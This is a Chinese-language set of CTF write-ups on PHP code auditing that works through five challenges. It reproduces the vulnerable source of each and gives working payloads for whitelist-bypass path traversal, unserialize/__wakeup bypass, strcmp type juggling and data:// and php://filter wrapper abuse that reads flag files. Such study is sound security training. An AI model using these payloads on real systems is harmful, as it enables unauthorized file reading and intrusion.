PHP代码审计题
由于重点是代码审计,所以直接看代码了。
[HCTF 2018]WarmUp
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{ //设置白名单
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { //若$page为空或不是字符串则执行
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //看$page里是否有匹配$whitelist内的内容,有则🆗
return true;
}
$_page = mb_substr( //在$page里截取第一个?之前的字符串
$page,
0,
mb_strpos($page . '?', '?') //返回 $page.? 中 ? 首次出现的位置
);
if (in_array($_page, $whitelist)) { //再次进行白名单验证
return true;
}
$_page = urldecode($page); //URL对$page进行解码
$_page = mb_substr( //截取$page中第一个?之前的字符串
$_page,
0,
mb_strpos($_page . '?', '?') //返回$page.?中?首次出现的位置
);
if (in_array($_page, $whitelist)) { //再次进行白名单验证
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //判断内容是否为空
&& is_string($_REQUEST['file']) //判断内容是否为字符串
&& emmm::checkFile($_REQUEST['file']) //看是否通过checkFile()函数检验
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
相关函数:
-
mb_substr(): 返回指定位置的文字
示例:
<?php echo mb_substr("我勒个去", 0, 2) ?>
输出:我勒
-
mb_strpos(): 返回被查找字符串在别一字符串中首次出现的位置。
示例:
<?php $str = 'http://www.aabbcc.com'; echo mb_strpos($str, 'bb'); ?>
输出结果:13
-
in_array(): 匹配对应字符串,有则返回true,反之false。
由上述代码可见首先对传入的参数进行了非空判断又进行了是否为字符串的检验,最后看是否满足checkFile()函数的检验(checkFile函数在上方定义)。
从checkFile()函数中可以看到,总计对输入参数进行了三次白名单验证,两次字符串截取,还在里面进行了一次URL解码。通过白名单又知道了一个文件(hint.php),进入文件后得到提示flag文件名字。然后根据代码构造payload,由于白名单验证所以我们要首先将file=之后命名为一个白名单字符串(source.php与hint.php都可以),然后由于要对字符串进行?之前的截取,所以后面在加上?,之后还会有URL解码,所以我们可以将?URL编码两次来通过浏览器与代码的两次解码(?的两次URL编码为:%253f),构造出payload:
?file=source.php%253f../../../../../ffffllllaaaagggg
因为不知道文件的具体位置,所以为一次次尝试得出。
这里我没用URL编码
?
也能成功,其实对?
两次URL解码也不太了解,毕竟感觉先前开始传参与浏览器解读时已经进行了URL编码与解码,不需要两次且在代码对URL解码前已经截取过一次了,也木有受影响啊。所以不对?进行编码也可以,反正我成功了。
?file=source.php?../../../../../ffffllllaaaagggg
[极客大挑战 2019]PHP
flag.php:
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
index.php:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select); //反序列化
?>
class.php:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
-
public、protected、private在序列化时的区别: 1.var和public木有什么特别,公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号
$
;2.protected声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的实例对象中不可见。因此保护字段的字段名在序列化时,字段名前会加上\0*\0
的前缀。(注意:这里的\0
表示ASCII码为0的字符,也就是我们经过urlencode后看到的%00
);3.private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和实例对象中均不可见。因此私有字段的字段名在序列化时,字段名前会加上\0\0
的前缀,这里,表示的声明该私有字段的类和类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定时被序列化的对象的类,而有可能时它的祖先类。 -
__wakeup()方法:与__sleep()函数相反,__sleep()函数是在序列化被自动调用。__wakeup()函数是在反序列化时被自动调用。
绕过: 当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过__wakeup()函数的执行。
由上述代码可知,想要得到flag就要让password=100,username=admin,所以要绕过__wakeup()函数, 才可以得到flag。
先来个初级脚本:
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password) {
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
$b = serialize($a);
echo $b
?>
结果如下:
O:4:"Name":2:{s:14:"<0x00>Name<0x00>username";s:5:"admin";s:14:"<0x00>Name<0x00>password";i:100;}
但是<0x00>
无法复制出来,所以用%00
代替。
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
然后再绕过__wakeup()函数,修改其属性个数(增大):
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[极客大挑战 2019]BuyFlag
学到的知识点:
PHP中的strcmp漏洞:
int strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接收到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错信息后,将return 0。
也就是说,虽然报错了,但还是判定其相等。
还有用POST请求时,需要添加媒体类型信息:Content-Type: application/x-www-form-urlencoded
,不然无法POST请求。(这个不是自动有的吗?以前也没自己加过,以后注意)
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
file_get_contents($text, ‘r’): 读取$text的内容,将其放入一个字符串中。
preg_math():匹配字符串。(正则匹配)
- 这里需要让$text输入 ”welcome to the zjctf“ 传入文件中才能进行后面的步骤,可以使用
data://
伪协议来传参。
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= (这里的字符串是welcome...的base编码)
通过第一个if语句。
-
可以看到第二个if语句不能使用flag关键字,而后面有提示useless.php文件,所以我们要想办法读取到它。
用
php://filter
协议来读取:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
读取到useless.php的base64编码内容。
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
提示flag.php,这里我们可以控制file的值,在本地执行代码,得出密码payload。
?php
class Flag{ //flag.php
public $file = 'flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
?>
最终payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
这里我们先看最下面的函数:
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
可以看到这里对于GET方式输入的数据送到了is_valid()
函数中去,通过校验就将其反序列化。然后我们看is_valid()
:
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
对输入的数据进行了ASCII码的校验,要求其在32-125之间。(作用是确保字符串参数都是可打印的。)
然后研究一下FileHandler
类:
__destruct()
魔术方法在对象销毁时执行,__construct()
魔术方法在每次创建新对象时调用。
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
在这里如果op===2
则会覆盖为1
,然后content被置空,再进入process()
函数,这样我们会进入write()
函数,无法达到我们想要的效果。所以我们要绕过它:
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
因为这里是进行了===(强等于)
,所以我们传入op=2
即可,因为2是整形,而’2’是字符型,强等于需要比较的类型也相等,所以2==='2'
–>false
。
这样就可以调用read()
函数:
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
再用了output()
函数输出。
构造payload:
<?php
class FileHander {
protected $op = 2;
protected $filename = 'flag.php';
protected $content;
}
echo serialize(new FileHander);
//O:10:"FileHander":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
?>
发现得到的payload不能得到flag,然后这里又涉及到了另一个知识点,private
、protected
在经过序列化时会生成不可打印字符,所以我们可以通过改为public
来绕过。
<?php
class FileHander {
public $op = 2;
public $filename = 'flag.php';
public $content;
}
echo serialize(new FileHander);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
?>
也可以通过对file_get_contents()
函数对文件进行读取,可以利用php:filter
伪协议进行读取。将filename
赋为:php://filter/read=convert.base64-encode/resource=flag.php
,输出的结果为:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
。将值赋予str,结果会直接显示在页面上,base64解码即可。